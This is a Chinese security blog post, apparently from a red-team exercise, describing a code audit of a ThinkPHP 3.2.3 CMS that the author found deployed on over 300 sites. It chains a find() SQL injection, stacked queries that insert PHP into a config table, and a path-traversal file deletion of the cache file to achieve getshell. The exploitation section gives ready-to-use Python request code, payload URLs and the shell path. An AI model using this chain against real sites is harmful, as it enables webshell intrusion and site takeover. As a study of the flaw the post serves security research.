攻防|记一次hvv中供应链拿靶标的代码审计过程

admin 2024年11月18日18:21:20评论14 views字数 4442阅读14分48秒阅读模式

 原文首发:奇安信攻防社区

https://forum.butian.net/share/3880

某地市级hvv,某下级单位研究院官网使用了这套cms,通过供应链拿到源码,并开始了thinkphp3.2.3审计过程。

前言

地市级hvv,某下级单位研究院官网使用了这套cms,提取关键字在fofa查询,发现使用该程序的站点有300+,导出目标,使用目录扫描跑一下备份文件,结果不出所料,这么多站点总是有软柿子的拿到源码开始审计。

审计过程

源码是thinkphp3.2.3的,比较熟悉,最终通过sql注入插入数据+缓存漏洞成功getsell

Sql注入

这个版本的thinkphp是有很多注入的,find(),select(),delete()都有可能造成注入,先来搜搜find参数,发现一段代码如下:

function getPosition($catid){
$cate = M('category')->find($catid);
$pos_id = array(['id'=>$catid,'name'=>$cate['name']]);

很明显,存在find的sql注入,全局搜索getPosition函数看看在哪里被调用

 public function position() {
$pos = getPosition(I('get.catid'));
$this->pos = $pos;
$this->display('Public:position');
}

position函数调用了getPosition方法,并且传入的catid也是直接通过I获取的,这里显而易见存在find注入,可直接获取数据。

/index.php?s=/Cn/public/position&catid[where]=11111

但是获取的后台密码无法解密,后续也是通过审计找到好几个注入,但都无法进到后台。
这个版本还有反序列化,但反序列化后的效果也是实现sql注入,都比较鸡肋。

缓存漏洞

thinkhp3.2.3是存在S缓存漏洞的

    public function test02(){
S('name',"nphpinfo();//");
}

当S的第二个参数可控时,便可以向缓存文件写入内容来getshell,全局搜索S,发现很多地方调用了S,但是挨个看下来之后,第二个参数都无法直接控制。

攻防|记一次hvv中供应链拿靶标的代码审计过程

在这里磕了一点时间,突然想到ThinkPHP 3.2.3默认使用的是PDO驱动来实现的数据库类,而PDO默认是支持多语句查询的,所以前面的注入是可以进行堆叠注入的。
也就是说我们可以利用堆叠注入向数据库中插入语句,然后去找S的第二个参数是从数据库中取值的地方就可以利用了,有了思路很快就定位到一个地方:

function setConfig($name = 'ALL_CONFIG', $siteid = array()) {
$config = M('Config');
$where['status'] = 1;
if (!empty($siteid)) {
$where['siteid'] = array('in', $siteid);
}
$data = $config->field('id,name,title,value')->where($where)->order('sort ASC')->select();
//设置缓存数组
$cache_data = array();
if (!empty($data)) {
foreach ($data as $key => $value) {
$cache_data[$value['name']] = $value['value'];
}
}

//先删除缓存
$previous_cache = S($name);
if (!empty($previous_cache)) {
S($name, null);
}
//设置缓存
S($name, $cache_data);
}

setConfig函数通过S($name, $cache_data)写入缓存,而$cache_data又是从M('Config')中查询数据获取的,我们只需要控制sql注入,向config中插入一条数据即可利用缓存漏洞getshell。
接着往上追,看一下哪里调用的setConfig。
在/Apps/Cn/Controller/CommonController.class.php中看到

    public function _initialize() {
//验证是否安装
if (!file_exists('./data/system_install.lock')) {
$this->redirect("Install/Index/index");
}

...

//获取配置

$system_config = S('ALL_CONFIG' . C('SITEID'));
//空的情况下生成缓存
if (empty($system_config)) {
//生成缓存
setConfig('ALL_CONFIG' . C('SITEID'), array(0, C('SITEID')));
$system_config = S('ALL_CONFIG' . C('SITEID'));
}

$system_config为空时,调用setConfig

在S函数中

function S($name,$value='',$options=null) {

static $cache = '';
if(is_array($options)){
// 缓存操作的同时初始化
$type = isset($options['type'])?$options['type']:'';
$cache = ThinkCache::getInstance($type,$options);
}elseif(is_array($name)) { // 缓存初始化
$type = isset($name['type'])?$name['type']:'';
$cache = ThinkCache::getInstance($type,$name);
return $cache;
}elseif(empty($cache)) { // 自动初始化
$cache = ThinkCache::getInstance();
}

if(''=== $value){ // 获取缓存
return $cache->get($name);
}elseif(is_null($value)) { // 删除缓存
return $cache->rm($name);
}else { // 缓存数据
if(is_array($options)) {
$expire = isset($options['expire'])?$options['expire']:NULL;
}else{
$expire = is_numeric($options)?$options:NULL;
}
return $cache->set($name, $value, $expire);
}
exit;
}

会先进入$cache->get($name)判断之前是否有缓存,如果没有的话,则调用setConfig,生成的缓存文件名为ALL_CONFIG1的md5,路径为AppsRuntimeTemp94b4e91cbccc674ec30f286e193c1703.php
如果缓存已经存在的话,则直接读取缓存,所以如果想进入setConfig的话,还需要想办法把已有的缓存文件给删掉。

任意文件删除

我们只需要在找到一个任意文件删除,把已有的缓存文件删除掉,就可以满足getshell的所有条件。
然后全局搜索unlink找到如下位置:
/xxlogin/Controller/UeditorController.class.php

    public function delFile(){
if(IS_POST){
$filename=I("filename");
if(!$filename){
$this->ajaxReturn(array("status"=>0,"msg"=>"文件不存在"));
}
$type=I("post.type");
$data_path=$this->data_path;
if($type==1){
$data_path=$this->data_path.I("post.dirname")."/";
}
$dir=$data_path.$filename;
if(is_file($dir)){
$ok=unlink($dir);
if($ok){
$this->ajaxReturn(array("status"=>1,"msg"=>"删除成功"));
}else{
$this->ajaxReturn(array("status"=>0,"msg"=>"删除失败"));
}
}else{
$this->ajaxReturn(array("status"=>0,"msg"=>"文件不存在"));
}
}
}

直接传入filename,通过

$dir=$data_path.$filename;

拼接进$dir,然后执行

$ok=unlink($dir);

至此getshell的各要素已经齐备,可以进行利用了

漏洞利用

  • 利用sql注入向config表中写入写入数据,需要进行换行操作并且闭合后面的代码:

u = "/index.php?s=/Cn/public/position&catid[where]=11111;insert+into+yongsy_config(name,value)+values('1','511111222222111111333333rnecho+md5(11);/*')%23"
vul_url = url + u
header = {
'Content-Type': 'application/x-www-form-urlencoded'
}

resp = requests.get(vul_url, verify=False, timeout=5)
  • 利用任意文件删除漏洞删除缓存

clearurl=url+"/index.php?s=xxlogin/ueditor/delFile"
data="filename=../../Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php"
clearr=requests.post(clearurl,headers=header,data=data,verify=False, timeout=5)
  • 访问任意页面生成缓存(_initialize是全局函数)

  • 访问生成的缓存即可getshell

shell_url = url + "/Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php"

总结

之前碰到thinkphp3.2.3版本的都是找S函数的直接可控点,并没有想过利用注入来插入数据,主要还是比较菜,可能对于大佬们来说就是基操。

原文始发于微信公众号(亿人安全):攻防|记一次hvv中供应链拿靶标的代码审计过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月18日18:21:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防|记一次hvv中供应链拿靶标的代码审计过程http://cn-sec.com/archives/3406788.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息